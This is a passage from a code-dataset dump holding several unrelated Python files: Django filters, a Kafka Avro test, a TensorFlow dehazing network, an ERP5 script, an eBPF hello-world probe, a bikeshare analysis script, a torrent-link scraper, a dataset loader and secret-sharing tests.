unallowed:\n msg = \"Unsupported parameter(s): {}. Please use a combination of: {}.\".format(\n \", \".join(unallowed), \", \".join(allowed_params),\n )\n self.form.add_error(field=None, error=ParseError(msg))\n\n def is_valid(self):\n \"\"\"Validate filterset.\"\"\"\n self.validate_query_params()\n return super().is_valid()\n\n\nclass BaseResolweFilter(CheckQueryParamsMixin, filters.FilterSet):\n \"\"\"Base filter for Resolwe's endpoints.\"\"\"\n\n class Meta:\n \"\"\"Filter configuration.\"\"\"\n\n fields = {\n \"id\": NUMBER_LOOKUPS[:],\n \"slug\": TEXT_LOOKUPS[:],\n \"name\": TEXT_LOOKUPS[:],\n \"contributor\": [\"exact\", \"in\"],\n \"created\": DATETIME_LOOKUPS[:],\n \"modified\": DATETIME_LOOKUPS[:],\n }\n\n\nclass DescriptorSchemaFilter(BaseResolweFilter):\n \"\"\"Filter the DescriptorSchema endpoint.\"\"\"\n\n class Meta(BaseResolweFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = DescriptorSchema\n\n\nclass CollectionFilter(BaseResolweFilter):\n \"\"\"Filter the Collection endpoint.\"\"\"\n\n data = filters.ModelChoiceFilter(queryset=Data.objects.all())\n entity = filters.ModelChoiceFilter(queryset=Entity.objects.all())\n\n class Meta(BaseResolweFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = Collection\n fields = {\n **BaseResolweFilter.Meta.fields,\n **{\"description\": TEXT_LOOKUPS[:], \"descriptor_schema\": [\"exact\"],},\n }\n\n\nclass TagsFilter(filters.filters.BaseCSVFilter, filters.CharFilter):\n \"\"\"Filter for tags.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"Construct tags filter.\"\"\"\n kwargs.setdefault(\"lookup_expr\", \"contains\")\n super().__init__(*args, **kwargs)\n\n\nclass EntityFilter(CollectionFilter):\n \"\"\"Filter the Entity endpoint.\"\"\"\n\n collection = filters.ModelChoiceFilter(\n field_name=\"collection\", queryset=Collection.objects.all()\n )\n tags = TagsFilter()\n\n class Meta(CollectionFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = Entity\n\n\nclass ProcessFilter(BaseResolweFilter):\n \"\"\"Filter the Process endpoint.\"\"\"\n\n category = filters.CharFilter(field_name=\"category\", lookup_expr=\"startswith\")\n type = filters.CharFilter(field_name=\"type\", lookup_expr=\"startswith\")\n is_active = filters.rest_framework.filters.BooleanFilter(field_name=\"is_active\")\n\n class Meta(BaseResolweFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = Process\n fields = {**BaseResolweFilter.Meta.fields, **{\"scheduling_class\": [\"exact\"],}}\n\n\nclass CharInFilter(filters.BaseInFilter, filters.CharFilter):\n \"\"\"Helper class for creation of CharFilter with \"in\" lookup.\"\"\"\n\n\nclass DataFilter(BaseResolweFilter):\n \"\"\"Filter the Data endpoint.\"\"\"\n\n collection = filters.ModelChoiceFilter(queryset=Collection.objects.all())\n collection__slug = filters.CharFilter(\n field_name=\"collection__slug\", lookup_expr=\"exact\"\n )\n\n entity = filters.ModelChoiceFilter(queryset=Entity.objects.all())\n\n type = filters.CharFilter(field_name=\"process__type\", lookup_expr=\"startswith\")\n status = filters.CharFilter(lookup_expr=\"iexact\")\n status__in = CharInFilter(field_name=\"status\", lookup_expr=\"in\")\n\n tags = TagsFilter()\n\n class Meta(BaseResolweFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = Data\n fields = {\n **BaseResolweFilter.Meta.fields,\n **{\n \"process\": [\"exact\"],\n \"process__slug\": [\"exact\"],\n \"finished\": DATETIME_LOOKUPS[:],\n \"started\": DATETIME_LOOKUPS[:],\n },\n }\n\n\nclass RelationFilter(BaseResolweFilter):\n \"\"\"Filter the Relation endpoint.\"\"\"\n\n category = filters.CharFilter(lookup_expr=\"iexact\")\n collection = filters.ModelChoiceFilter(queryset=Collection.objects.all())\n type = filters.CharFilter(field_name=\"type__name\")\n\n class Meta(BaseResolweFilter.Meta):\n \"\"\"Filter configuration.\"\"\"\n\n model = Relation\n fields = BaseResolweFilter.Meta.fields\n\n def get_always_allowed_arguments(self):\n \"\"\"Get always allowed query arguments.\"\"\"\n return super().get_always_allowed_arguments() + (\"entity\", \"label\", \"position\",)\n","sub_path":"resolwe/flow/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":6077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"139739265","text":"import sys\n\nfrom confluent_kafka import avro\nfrom confluent_kafka import KafkaError\n\nfrom confluent_kafka.avro import AvroProducer\nfrom confluent_kafka.avro import AvroConsumer\nfrom confluent_kafka.avro.serializer import SerializerError\n\n\nVALUE_SCHEMA_STR = \"\"\"\n{\n \"namespace\": \"Yggdrasil\",\n\t\"name\": \"Poem\",\n\t\"type\": \"record\",\n\t\"fields\": [\n\t\t{\"name\": \"name\", \"type\": \"string\"},\n\t\t{\"name\": \"text\", \"type\": \"string\"}\n\t]\n}\n\"\"\"\nVALUE_SCHEMA = avro.loads(VALUE_SCHEMA_STR)\n\nTEST_MESSAGES = [\n {\"name\": \"Völuspá\", \"text\": \"An ash I know there stands, Yggdrasill is its name, a tall tree, showered with shining loam. From there come the dews that drop in the valleys. It stands forever green over Urðr's well.\"},\n {\"name\": \"Hávamál\", \"text\": \"I know that I hung on a windy tree nine long nights, wounded with a spear, dedicated to Odin, myself to myself, on that tree of which no man knows from where its roots run\"},\n]\n\n\ndef produce_test_messages(broker, schema_registry, schema, topic):\n producer = AvroProducer(\n {\n 'bootstrap.servers': broker,\n 'schema.registry.url': schema_registry\n },\n default_value_schema=schema\n )\n\n for message in TEST_MESSAGES:\n producer.produce(topic=topic, value=message)\n print('Produced [%s]' % message)\n producer.flush()\n\n\ndef consume_test_messages(broker, schema_registry, topic):\n consumer = AvroConsumer({\n 'bootstrap.servers': broker,\n 'group.id': 'groupid',\n 'schema.registry.url': schema_registry,\n 'auto.offset.reset': 'earliest'\n })\n\n consumer.subscribe([topic])\n\n count = 0\n while True:\n try:\n msg = consumer.poll(1)\n\n except SerializerError as e:\n print(\"Message deserialization failed for {}: {}\".format(msg, e))\n break\n\n if msg is None:\n count += 1\n if count == 10:\n break\n continue\n\n if msg.error():\n print(\"AvroConsumer error: {}\".format(msg.error()))\n continue\n\n print('Consumed', msg.value())\n\n consumer.close()\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 4:\n print(\"Usage: python3 producer.py \")\n exit(1)\n\n BROKER_HOST = sys.argv[1]\n SCHEMA_REGISTRY = sys.argv[2]\n TOPIC = sys.argv[3]\n\n produce_test_messages(BROKER_HOST, SCHEMA_REGISTRY, VALUE_SCHEMA, TOPIC)\n consume_test_messages(BROKER_HOST, SCHEMA_REGISTRY, TOPIC)\n","sub_path":"niu_heimar/test_yggdrasil.py","file_name":"test_yggdrasil.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"274737675","text":"import architecture\nimport tensorflow as tf\nimport Architectures.Layers.guidedfilter_color_trainable as gct\n\nclass MscnnGuidedColorTreinable(architecture.Architecture):\n def __init__(self):\n parameters_list = ['input_size', 'summary_writing_period',\n \"validation_period\", \"model_saving_period\"]\n\n self.config_dict = self.open_config(parameters_list)\n self.input_size = self.config_dict[\"input_size\"][0:2]\n\n def prediction(self, sample, training=False):\n \" Coarse-scale Network\"\n normalizer_params = {'is_training':training, 'center':True,\n 'updates_collections':None, 'scale':True}\n conv1 = tf.contrib.layers.conv2d(inputs=sample, num_outputs=5, kernel_size=[11, 11],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool1 = tf.contrib.layers.max_pool2d(inputs=conv1, kernel_size=[2, 2], stride=2,\n padding='VALID') #pooling\n\n upsamp1 = tf.image.resize_nearest_neighbor(pool1, self.input_size) # upsampling\n\n\n conv2 = tf.contrib.layers.conv2d(inputs=upsamp1, num_outputs=5, kernel_size=[9, 9],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool2 = tf.contrib.layers.max_pool2d(inputs=conv2, kernel_size=[2, 2], stride=2,\n padding='VALID') #pooling\n\n upsamp2 = tf.image.resize_nearest_neighbor(pool2, self.input_size) # upsampling\n\n conv3 = tf.contrib.layers.conv2d(inputs=upsamp2, num_outputs=10, kernel_size=[7, 7],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool3 = tf.contrib.layers.max_pool2d(inputs=conv3, kernel_size=[2, 2], stride=2,\n padding='VALID') #pooling\n\n upsamp3 = tf.image.resize_nearest_neighbor(pool3, self.input_size) # upsampling\n\n linear_combination = tf.contrib.layers.conv2d(inputs=upsamp3, num_outputs=1,\n kernel_size=[1, 1],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.sigmoid)\n\n \"\"\"Fine-scale Network\"\"\"\n\n conv4 = tf.contrib.layers.conv2d(inputs=sample, num_outputs=4, kernel_size=[7, 7],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool4 = tf.contrib.layers.max_pool2d(inputs=conv4, kernel_size=[2, 2], stride=2,\n padding='VALID') #pooling e upsampling\n\n upsamp4 = tf.image.resize_nearest_neighbor(pool4, self.input_size) # upsampling\n\n concatenation = tf.concat([upsamp4, linear_combination], 3)\n\n conv5 = tf.contrib.layers.conv2d(inputs=concatenation, num_outputs=5, kernel_size=[5, 5],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool5 = tf.contrib.layers.max_pool2d(inputs=conv5, kernel_size=[2, 2], stride=2,\n padding='VALID') #pooling e upsampling\n\n upsamp5 = tf.image.resize_nearest_neighbor(pool5, self.input_size) # upsampling\n\n conv6 = tf.contrib.layers.conv2d(inputs=upsamp5, num_outputs=10, kernel_size=[3, 3],\n stride=[1, 1], padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.relu)\n\n pool6 = tf.contrib.layers.max_pool2d(inputs=conv6, kernel_size=[2, 2], stride=2,\n padding='VALID') # pooling e upsampling\n\n upsamp6 = tf.image.resize_nearest_neighbor(pool6, self.input_size) # upsampling\n\n linear_combination2 = tf.contrib.layers.conv2d(inputs=upsamp6, num_outputs=1,\n kernel_size=[1, 1], stride=[1, 1],\n padding='SAME',\n normalizer_fn=tf.contrib.layers.batch_norm,\n normalizer_params=normalizer_params,\n activation_fn=tf.nn.sigmoid)\n\n guided_trans = gct.guidedfilter_color_treinable(sample, linear_combination2, r=20, eps=10**-6)\n tf.summary.image(\"architecture_output\", guided_trans)\n return guided_trans\n\n\n\n def get_validation_period(self):\n return self.config_dict[\"validation_period\"]\n\n def get_model_saving_period(self):\n return self.config_dict[\"model_saving_period\"]\n\n def get_summary_writing_period(self):\n return self.config_dict[\"summary_writing_period\"]\n","sub_path":"Architectures/ProjectDeepdive/mscnn/mscnn_guided_color_treinable.py","file_name":"mscnn_guided_color_treinable.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"564479476","text":"\"\"\"Returns an item list of the acceptable bank accounts.\nIf `organisation` is passed, then we only show bank accounts available for that\norganisation, using the following policy:\n - if organisation is independant accounting entity (ie. have accounting periods),\n only bank accounts from this organisation can be selected\n - otherwise, bank accounts from this organisation and all organisation directly\n members of the parent groups can be us\n - if organisation higher in the group hierarchy contains bank accounts, bank\n accounts from parent organisations can be selected\n\nIf organisation is not passed, this script will return all bank accounts\napplicable for section_category and section_category_strict_membership.\n\"\"\"\nportal = context.getPortalObject()\n\nsearch_kw = dict(portal_type=portal.getPortalPaymentNodeTypeList())\nif skip_invalidated_bank_accounts:\n search_kw['validation_state'] = '!=invalidated'\n\nif organisation:\n organisation_value = portal.restrictedTraverse(organisation)\n\n # if organisation is an independant accounting section and contains bank accounts,\n # only take into account those.\n if organisation_value == organisation_value.Organisation_getMappingRelatedOrganisation():\n bank_account_list = organisation_value.searchFolder(**search_kw)\n # else we lookup in organisations from parent groups.\n else:\n group_value = organisation_value.getGroupValue(None)\n if group_value is not None:\n uid_list = []\n while group_value.getPortalType() != 'Base Category':\n uid_list.append(group_value.getUid())\n group_value = group_value.getParentValue()\n search_kw['strict_parent_group_uid'] = uid_list\n search_kw['parent_portal_type'] = 'Organisation'\n bank_account_list = portal.portal_catalog(**search_kw)\n\nelse:\n if section_category is None:\n section_category = portal.portal_preferences\\\n .getPreferredAccountingTransactionSectionCategory()\n section_uid = portal.Base_getSectionUidListForSectionCategory(\n section_category=section_category,\n strict_membership=section_category_strict_membership)\n search_kw['parent_uid'] = section_uid\n bank_account_list = portal.portal_catalog(**search_kw)\n\n\nitem_list = [('', '')]\n\n\n# If we have bank accounts from more than one organisation, include\n# the organisation as hierarchy to show which organisation the bank\n# account belongs to.\ninclude_organisation_hierarchy = len(set(\n ['/'.join(b.path.split('/')[:-1]) for b in bank_account_list])) > 1\n\nprevious_organisation = None\n# sort bank accounts in a way that bank accounts from the same\n# organisation are consecutive\nfor brain in sorted(bank_account_list, key=lambda b:b.path):\n bank = brain.getObject()\n if include_organisation_hierarchy:\n organisation = bank.getParentValue()\n if organisation != previous_organisation:\n previous_organisation = organisation\n # include non-selectable element to show hierarchy\n item_list.append((organisation.getTranslatedTitle(), None))\n\n if bank.getReference() and bank.getTitle() \\\n and bank.getReference() != bank.getTitle():\n item_list.append(('%s - %s' % ( bank.getReference(),\n bank.getTitle() or\n bank.getSourceFreeText() or\n bank.getSourceTitle()),\n bank.getRelativeUrl()))\n else:\n item_list.append(( bank.getReference() or\n bank.getTitle() or\n bank.getSourceFreeText() or\n bank.getSourceTitle(),\n bank.getRelativeUrl() ))\n\nreturn item_list\n","sub_path":"bt5/erp5_accounting/SkinTemplateItem/portal_skins/erp5_accounting/AccountModule_getBankAccountItemList.py","file_name":"AccountModule_getBankAccountItemList.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"275407964","text":"#!/usr/bin/env python3\n\nfrom bcc import BPF\n\nBPF_PROGRAM = r\"\"\"\nint hello(void *ctx) {\n bpf_trace_printk(\"Hello world! File opened\\n\");\n return 0;\n}\n\"\"\"\n\n\ndef main():\n bpf = BPF(text=BPF_PROGRAM)\n bpf.attach_kprobe(event=bpf.get_syscall_fnname(\"clone\"), fn_name=\"hello\")\n\n while True:\n try:\n (_, _, _, _, _, msg_b) = bpf.trace_fields()\n msg = msg_b.decode('utf8')\n if \"Hello world\" in msg:\n print(msg)\n except ValueError:\n continue\n except KeyboardInterrupt:\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"002_hello_world.py","file_name":"002_hello_world.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"72992656","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n city - name of the city to analyze\n month - name of the month to filter by, or \"all\" to apply no month filter\n day - name of the day of week to filter by, or \"all\" to apply no day filter\n All inputs are string formatted\n \"\"\"\n Welcome_msg = \"Hello! My name is Python.Js and i\\'m delighted to be your acquaintance to walk through some US bikeshare data with you!.\"\n print(Welcome_msg)\n print()\n # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n available_data = 'Now, Bikeshare Data is only available for New York, Chicago And Washington. Enter city here: '\n city = input().lower(available_data)\n while city not in CITY_DATA:\n city = input('Invalid city name. Try Again?: ').lower()\n\n print()\n # get user input for month (all, january, february, ... , june)\n Investigate_months = 'Again, Bikeshare Data is only available from January to June. \\nSelect the month you want to explore or enter \"all\" \\nto explore all the months simultaneously here: '\n month = input(Investigate_months)\n MONTHS = ['all', 'january', 'february', 'march', 'april', 'may', 'june']\n while month not in MONTHS:\n month = input('Invalid month name entered. Try Again?: ').title()\n\n print()\n # get user input for day of week (all, monday, tuesday, ... sunday)\n day = input('Enter a specific day of the week or \\nenter \"all\" to explore all days of the week simultaneously: ').lower()\n DAYS = ['all', 'sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday' ]\n while day not in DAYS:\n day = input('Invalid day name! Try Again?: ').lower()\n\n print('-'*40)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n city - name of the city to analyze\n month - name of the month to filter by, or \"all\" to apply no month filter\n day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n All inputs are string formatted\n \"\"\"\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # create month column\n df['month'] = df['Start Time'].dt.month\n\n #create weekdays column\n df['day_of_the_week'] = df['Start Time'].dt.weekday_name\n\n #create Time column\n df['Hour'] = df['Start Time'].dt.hour\n\n\n #create a dataframe filtered with only a specified month\n if month != 'all':\n # use the index of the months list to get the corresponding int\n MONTHS = ['january', 'february', 'march', 'april', 'may', 'june']\n month = MONTHS.index(month) + 1\n df = df[df['month'] == month]\n\n # filter by day of week if applicable\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df[df['day_of_the_week'] == day.title()]\n\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # create a month column\n df['month'] = df['Start Time'].dt.month\n\n # display the most common month\n MONTHS = ['All', 'January', 'February', 'March', 'April', 'May', 'June']\n Most_common_month = df['month'].value_counts().idxmax()\n print(f'Most common month for Travelling is {Most_common_month}.')\n\n #create weekdays column\n df['day_of_the_week'] = df['Start Time'].dt.weekday_name\n\n # display the most common day of week\n DAYS = ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday' ]\n Most_common_day_of_the_week = df['day_of_the_week'].mode()[0]\n print(f'The most common day of the week for Travelling is {Most_common_day_of_the_week}.')\n\n\n #create Time column\n df['Hour'] = df['Start Time'].dt.hour\n\n # display the most common start hour\n Most_preferred_hour = df['Hour'].mode()[0]\n print(f'The most preferred time for traveling is {Most_preferred_hour}.')\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # Get to know the most commonly used start station\n Most_preferred_start_station = df['Start Station'].value_counts().idxmax()\n print('The most preferred Start Station is: ', Most_preferred_start_station)\n\n # Get to know the most commonly used end station\n Most_preferred_end_station = df['End Station'].value_counts().idxmax()\n print('The most preferred End Station is: ', Most_preferred_end_station)\n\n\n # Get to know most frequent combination of start station and end station trip\n Most_preferred_Start_End_Trip = df[['Start Station', 'End Station']].mode().loc[0]\n print('The most preferred Start-End Trip is from {} to {}.'.format(Most_preferred_Start_End_Trip[0], Most_preferred_Start_End_Trip[1]))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # display total travel time\n Total_time_travel = df['Trip Duration'].sum()\n print('Total time travel is {} seconds.'.format(Total_time_travel))\n\n\n # display mean travel time\n Mean_travel_time = df['Trip Duration'].mean()\n print('Average Total Trip duration is {} seconds.'.format(Mean_travel_time))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # Display counts of user types\n User_Types = df['User Type'].value_counts()\n print('categories of users: ''\\n', User_Types)\n\n # Display counts of gender\n if 'Gender' in df.columns:\n gender_counts = df['Gender'].value_counts()\n print('Total gender counts = \\n', gender_counts)\n\n # Display earliest, most recent, and most common year of birth\n if 'Birth Year' in df.columns:\n Earliest_birth_year = df['Birth Year'].min()\n Recent_birth_year = df['Birth Year'].max()\n common_birth_year = df['Birth Year'].mode()[0]\n print('Earliest birth year is {}, Recent birth year {} and common birth year is {}.'.format(Earliest_birth_year, Recent_birth_year, common_birth_year))\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare_2.py","file_name":"bikeshare_2.py","file_ext":"py","file_size_in_byte":7685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"539286552","text":"from urllib import request\nfrom bs4 import BeautifulSoup\n\n\"\"\"\n 获取btbtt的种子\n\"\"\"\n#http://www.btbtt.us/forum-index-fid-951-page-1.htm\nurl = 'http://www.btbtt.us/forum-index-fid-951-page-'\nthread_prefix_url = 'http://www.btbtt.us/'\nheader = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}\ni = 1\ntemp_url = url+str(i)+'.htm'\nreq = request.Request(temp_url,headers=header)\nrep = request.urlopen(req)\nthread_list_html = rep.read().decode('utf-8')\nsoup = BeautifulSoup(thread_list_html, 'html.parser')\ntables = BeautifulSoup.find_all(soup, name='a', attrs={'class':'subject_link thread-new'})\nit = iter(tables)\n#循环遍历每个帖子,获取附件名称和地址\nfor x in it:\n thread_url = x.attrs['href']\n req = request.Request(thread_prefix_url+thread_url,headers=header)\n thread_html = request.urlopen(req).read().decode('utf-8')\n soup = BeautifulSoup(thread_html,'html.parser')\n div = soup.find_all(name='div',attrs={'class':'attachlist'})\n attach = div[0].contents[1].contents[5].contents[1].contents[1]\n attach_href = attach.attrs['href']\n attach_href = attach_href.replace('dialog','download')\n attach_name = attach.text\n print(\"attach_name =\",attach_name,',attach_href =',attach_href)\n\n#http://www.btbtt.us/attach-download-fid-951-aid-4741003.htm\n\n","sub_path":"bt_demo.py","file_name":"bt_demo.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"453973639","text":"import os\nimport os.path as osp\nfrom torchvision.datasets import VisionDataset\nfrom PIL import Image\n\n\nclass RESISC45(VisionDataset):\n '''\n http://www.escience.cn/people/JunweiHan/NWPU-RESISC45.html\n '''\n\n root = '/data/public/rw/datasets/aerial_inspection/NWPU-RESISC45'\n\n def __init__(self, transforms=None, transform=None, target_transform=None):\n super().__init__(root=self.root, transforms=transforms,\n transform=transform, target_transform=target_transform)\n\n self.classes = sorted(os.listdir(self.root))\n self._files = list()\n self.labels = list()\n\n for cls_nm in self.classes:\n class_img_root = osp.join(self.root, cls_nm)\n cls_files = sorted([osp.join(class_img_root, img)\n for img in os.listdir(class_img_root)\n if img.endswith('jpg')])\n self._files += cls_files\n self.labels += [self.classes.index(cls_nm)] * len(cls_files)\n\n def __len__(self):\n return len(self._files)\n\n def __getitem__(self, i):\n imfile = self._files[i]\n image = Image.open(imfile).convert('RGB')\n target = self.labels[i]\n\n if self.transforms is not None:\n image, target = self.transforms(image, target)\n return image, target\n","sub_path":"submodules/datasets/datasets/aerial/aerial_classification.py","file_name":"aerial_classification.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"118241865","text":"# several functions interfacing with a settings file:\n# - read_settings: read from the settings file into a dictionary\n# - write_settings: write from a dictionary into the settings file (not made yet)\n\n# settings file uses the format:\n# - \"#\" at the start of a line disregards that line (for comments)\n# - blank lines are disregarded\n# - whitespace around \"=\" is disregarded\n# - variable names should be capitalized, but will be in the settings dictionary\n\n# example settings:\n# # EXAMPLE SETTINGS FILE\n# \n# SOME_VARIABLE = \"GitHub\"\n# ANOTHER_VARIABLE = True\n# YET_ANOTHER_VARIABLE = 1234 \n\n# settings dictionary uses the format:\n# - key is a capitalized string (\"SOME_VARIABLE\")\n# - value is also a string (\"GitHub\", \"True\", \"1234\")\n# - use int() or other such functions to convert from strings\n\n\n# read_settings() reads the settings file and returns the settings dictionary\ndef read_settings():\n settings = {}\n with open(\"./settings\", \"r\") as settings_file:\n lines = settings_file.readlines()\n for line in lines:\n if line[0] == \"#\": # disregard # (comments)\n continue\n if line == \"\\n\" or line == \"\": # disregard blank lines\n continue\n\n first_equal_sign = line.find(\"=\") # values may have equal signs!\n variable_name = line[0:first_equal_sign]\n # accounts for spacing to the left of the \"=\" in the settings file\n # (but not if the variable is a space for some reason)\n if variable_name[-1] == \" \" and variable_name != \" \":\n variable_name = variable_name[:-1] # removes the last digit from the string\n variable_name = variable_name.upper()\n \n # accounts for spacing to the right of the \"=\" in the settings file\n # (but not if the value is a space for some reason)\n value = line[first_equal_sign+1:]\n # removes the newline character from the value if it exists\n if value[-1] == \"\\n\":\n value = value[:-1]\n if value[0] == \" \" and value != \" \":\n value = value[1:] # removes the last digit from the string\n value = value\n \n settings[variable_name] = value\n \n return settings\n\n# write_settings() takes a settings dictionary and writes it to the settings file \ndef write_settings(settings):\n # not yet implemented\n return\n \n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"651517744","text":"import pytest\nfrom random import randint\n\nfrom src.circuits.share import Share\n\n\n@pytest.mark.parametrize(\n \"share,const,mod,expected\",\n [(2,2,13,4),(1,2,11,3),(14,15,43,29),\n (21,6,23,4),(100,200,5,0),(14,-6,43,8),\n (51,-53,11003,11001)]\n)\ndef test_const_add(share,const,mod,expected):\n a = randint(0,mod-1)\n b = randint(0,mod-1)\n c = (-(a+b)) % mod\n\n share1 = Share(a, c - share, mod=mod, fp_prec=0)\n share2 = Share(b, a - share, mod=mod, fp_prec=0)\n\n share1_add = share1.const_add(const)\n share2_add = share2.const_add(const)\n\n assert expected == (share1_add.unshare(share2_add) % mod)\n\n@pytest.mark.parametrize(\n \"share,const,mod,fpp,expected\",\n [(2,2,11003,2,4),(1,2,11003,1,3),(14,15,43,0,29),\n (21,6,23,0,4),(100,200,5,0,0),(14,-6,43,0,8),\n (51,-53,11003,1,11001)]\n)\ndef test_const_add_scale(share,const,mod,fpp,expected):\n scale = 10**fpp\n share = share * scale\n\n a = randint(0,mod-1)\n b = randint(0,mod-1)\n c = (-(a+b)) % mod\n\n share1 = Share(a, c - share, mod=mod, fp_prec=fpp)\n share2 = Share(b, a - share, mod=mod, fp_prec=fpp)\n\n share1_add = share1.const_add(const,scaled=False)\n share2_add = share2.const_add(const,scaled=False)\n\n assert expected * scale == (share1_add.unshare(share2_add) % mod)\n\n@pytest.mark.parametrize(\n \"share,const,mod,expected\",\n [(2,2,13,4),(1,2,11,2),(3,3,17,9),(14,2,5,3)]\n)\ndef test_const_mult(share,const,mod,expected):\n\n a = randint(0,mod-1)\n b = randint(0,mod-1)\n c = (-(a+b)) % mod\n\n share1 = Share(a, c - share, mod=mod, fp_prec=0)\n share2 = Share(b, a - share, mod=mod, fp_prec=0)\n\n share1_mult = share1.const_mult(const)\n share2_mult = share2.const_mult(const)\n\n assert expected == (share1_mult.unshare(share2_mult) % mod)\n\n@pytest.mark.parametrize(\n \"share,old_prec,new_prec,mod,expected\",\n [(20,1,0,43,2),(300,2,1,1009,30),(1400,2,1,11003,140),(20,1,3,11003,2000)]\n)\ndef test_switch_precision(share,old_prec,new_prec,mod,expected):\n a = randint(0,mod-1)\n b = randint(0,mod-1)\n c = (-(a+b)) % mod\n\n share1 = Share(a, c - share, mod=mod, fp_prec=old_prec)\n share2 = Share(b, a - share, mod=mod, fp_prec=old_prec)\n\n share1_new = share1.switch_precision(new_prec)\n share2_new = share2.switch_precision(new_prec)\n\n assert expected == (share1_new.unshare(share2_new) % mod)\n\n@pytest.mark.parametrize(\n \"share1,share2,mod,fpp,expected\",\n [((1,1),(1,1),11,0,True),((1,2),(12,13),11,0,True),((1,5),(1,4),11,0,False)]\n)\ndef test_eq(share1,share2,mod,fpp,expected):\n shr1 = Share(share1[0],share1[1],mod=mod,fp_prec=fpp)\n shr2 = Share(share2[0],share2[1],mod=mod,fp_prec=fpp)\n\n assert (shr1 == shr2) == 